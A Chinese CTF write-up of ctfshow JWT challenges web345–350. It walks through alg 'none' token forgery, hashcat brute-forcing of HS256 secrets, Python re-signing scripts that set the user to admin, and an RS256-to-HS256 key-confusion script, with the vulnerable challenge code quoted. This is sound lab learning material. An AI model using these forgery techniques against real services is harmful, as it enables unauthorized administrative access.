web345 复现失败,题目改过了,{"sub":"admin"} 也不好使,外面还多了一层中括号。。。    
web346 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 $ python .\jwt_tool.py 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg0MTc5NiwiZXhwIjoxNjU0ODQ4OTk2LCJuYmYiOjE2NTQ4NDE3OTYsInN1YiI6InVzZXIiLCJqdGkiOiJiZWIyNDgxZDA1MzZhZjUxMjBlN2UxNzdmNDU5ZjU4YSJ9.MbQ4es2RnGnDMlzC8kGhUjV2dwEcPEO58Pf_WjYoxtU'         \   \        \         \          \                    \    \__   |   |  \     |\__    __| \__    __|                    |          |   |   \    |      |          |       \         \     |          |        \   |      |          |    __  \     __  \    |   \      |      _     |      |          |   |     |   |     |   |    |     |     / \    |      |          |   |     |   |     |   | \        |    /   \   |      |          |\        |\        |   |  \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|  Version 2.0.2                \______|             @ticarpi Original JWT: ===================== Decoded Token Values: ===================== Token header values: [+] alg = "HS256" [+] typ = "JWT" Token payload values: [+] iss = "admin" [+] iat = 1654841796    ==> TIMESTAMP = 2022-06-10 14:16:36 (UTC) [+] exp = 1654848996    ==> TIMESTAMP = 2022-06-10 16:16:36 (UTC) [+] nbf = 1654841796    ==> TIMESTAMP = 2022-06-10 14:16:36 (UTC) [+] sub = "user" [+] jti = "beb2481d0536af5120e7e177f459f58a" Seen timestamps: [*] iat was seen [*] exp is later than iat by: 0 days, 2 hours, 0 mins ---------------------- JWT common timestamps: iat = IssuedAt exp = Expires nbf = NotBefore ---------------------- 
尝试 none 攻击
1 2 3 4 5 6 eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0 eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg0MTc5NiwiZXhwIjoxNjU0ODQ4OTk2LCJuYmYiOjE2NTQ4NDE3OTYsInN1YiI6ImFkbWluIiwianRpIjoiYmViMjQ4MWQwNTM2YWY1MTIwZTdlMTc3ZjQ1OWY1OGEifQ eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg0MTc5NiwiZXhwIjoxNjU0ODQ4OTk2LCJuYmYiOjE2NTQ4NDE3OTYsInN1YiI6ImFkbWluIiwianRpIjoiYmViMjQ4MWQwNTM2YWY1MTIwZTdlMTc3ZjQ1OWY1OGEifQ. 
别忘了结尾的 .
web347 这次改成 none 不行了,hashcat 爆破 secret:  
1 2 $ .\hashcat.exe -m 16500 I:\test\ctfshow\web347\jwt.txt -a 3 -w 3 ?d?d?d?d?d?d eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg0MzA1MiwiZXhwIjoxNjU0ODUwMjUyLCJuYmYiOjE2NTQ4NDMwNTIsInN1YiI                                                                                                           I6InVzZXIiLCJqdGkiOiJjOGUxODFkNjI1NmU3NGNlNDQ4OWMxZmFiMTM0ZmY3NyJ9.Q5ZvANDXJ5uGUmS7HuxzUqBdNy_QO0gUDQHCPqapqr8:123456 
于是  
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import  base64import  jsonimport  jwtjwt_origin = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg0NjgxNywiZXhwIjoxNjU0ODU0MDE3LCJuYmYiOjE2NTQ4NDY4MTcsInN1YiI6InVzZXIiLCJqdGkiOiI3YjIxMzNiZWQ5OWRjMGQ1MTM3N2YxNDFhYWQyZmVjOSJ9.Gnhw24pqJOTZ23ncvSzJuHHPgys2F2ISCf4_kGmiRtA"  secret = "123456"  alg = json.loads(base64.b64decode(jwt_origin.split("." )[0 ]))["alg" ] payload = jwt.decode(jwt_origin, secret, algorithms=alg) print("before: " , payload) payload["sub" ] = "admin"  print("after: " , payload) jwt_payload = jwt.encode(payload, secret, algorithm=alg) print(jwt_payload) 
web348 提示和上题一样,hashcat 爆破  
1 2 .\hashcat.exe -m 16500 I:\test\ctfshow\web348\jwt.txt -a 3 -w 3 ?b?b?b?b eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg1MzIwNywiZXhwIjoxNjU0ODYwNDA3LCJuYmYiOjE2NTQ4NTMyMDcsInN1YiI                                                                                                           I6InVzZXIiLCJqdGkiOiI3ZGYzZDRmMjIyYTBmMjk5OWI0MTYwNTZjNGUxNzEyOCJ9.6VABqSwnJJhNNF4fH_VrNjqxpsFZvNV_O0YjfzxxO3s:aaab 
于是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import  base64import  jsonimport  jwtjwt_origin = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg1MzIwNywiZXhwIjoxNjU0ODYwNDA3LCJuYmYiOjE2NTQ4NTMyMDcsInN1YiI6InVzZXIiLCJqdGkiOiI3ZGYzZDRmMjIyYTBmMjk5OWI0MTYwNTZjNGUxNzEyOCJ9.6VABqSwnJJhNNF4fH_VrNjqxpsFZvNV_O0YjfzxxO3s"  secret = "aaab"  alg = json.loads(base64.b64decode(jwt_origin.split("." )[0 ]))["alg" ] payload = jwt.decode(jwt_origin, secret, algorithms=alg) print("before: " , payload) payload["sub" ] = "admin"  print("after: " , payload) jwt_payload = jwt.encode(payload, secret, algorithm=alg) print(jwt_payload) 
web349 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 router.get('/' , function (req, res, next )    res.type('html' );   var  privateKey = fs.readFileSync(process.cwd()+'//public//private.key' );   var  token = jwt.sign({ user : 'user'  }, privateKey, { algorithm : 'RS256'  });   res.cookie('auth' ,token);   res.end('where is flag?' );    }); router.post('/' ,function (req,res,next ) 	var  flag="flag_here" ; 	res.type('html' ); 	var  auth = req.cookies.auth; 	var  cert = fs.readFileSync(process.cwd()+'//public/public.key' );   	jwt.verify(auth, cert, function (err, decoded )  	  if (decoded.user==='admin' ){ 	  	res.end(flag); 	  }else { 	  	res.end('you are not admin' ); 	  } 	}); }); 
私钥公钥都放 /public。。。 彳亍https://stackoverflow.com/questions/65987293/typeerror-load-pem-private-key-missing-1-required-positional-argument-backe   
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import  base64import  jsonimport  jwtjwt_origin = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImlhdCI6MTY1NDg1NDAyM30.LoQYsGNplceMfmHPkysbc6ZTdNdpWOxuUpBu1IiyW_CUafDDEIyCxsJjjrOpo7RftkLC6O_kVd95R_E8SLzS7OTtUX-rYE3Z4XRFab-z8mgrPF2x_aE8Cb48WB-TNCrzseUCjcixO55PTN4aJc8S9hQpaZN6ita9QVAWGs_YQsY"  with  open("private.key" , "rb" ) as  f:    private_key = f.read() with  open("public.key" , "rb" ) as  f:    public_key = f.read() alg = json.loads(base64.b64decode(jwt_origin.split("." )[0 ]))["alg" ] payload = jwt.decode(jwt_origin, public_key, algorithms=alg) print("before: " , payload) payload["user" ] = "admin"  print("after: " , payload) jwt_payload = jwt.encode(payload, private_key, algorithm=alg) print(jwt_payload) 
web350 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 var  express = require ('express' );var  router = express.Router();var  jwt = require ('jsonwebtoken' );var  fs = require ('fs' );router.get('/' , function (req, res, next )    res.type('html' );   var  privateKey = fs.readFileSync(process.cwd()+'//routes/private.key' );   var  token = jwt.sign({ user : 'user'  }, privateKey, { algorithm : 'RS256'  });   res.cookie('auth' ,token);   res.end('where is flag?' );    }); router.post('/' ,function (req,res,next ) 	var  flag="flag_here" ; 	res.type('html' ); 	var  auth = req.cookies.auth; 	var  cert = fs.readFileSync(process.cwd()+'//routes/public.key' );   	jwt.verify(auth, cert,function (err, decoded )  	  if (decoded.user==='admin' ){ 	  	res.end(flag); 	  }else { 	  	res.end('you are not admin' +err); 	  } 	}); }); module .exports = router;
RS256 => HS256,对称加密公钥当密码,python 写总报错绕过了生成的也不能用,找了个 js 脚本  
1 2 3 4 5 const  jwt = require ('jsonwebtoken' );var  fs = require ('fs' );var  privateKey = fs.readFileSync('public/public.key' );var  token = jwt.sign({ user : 'admin'  }, privateKey, { algorithm : 'HS256'  });console .log(token)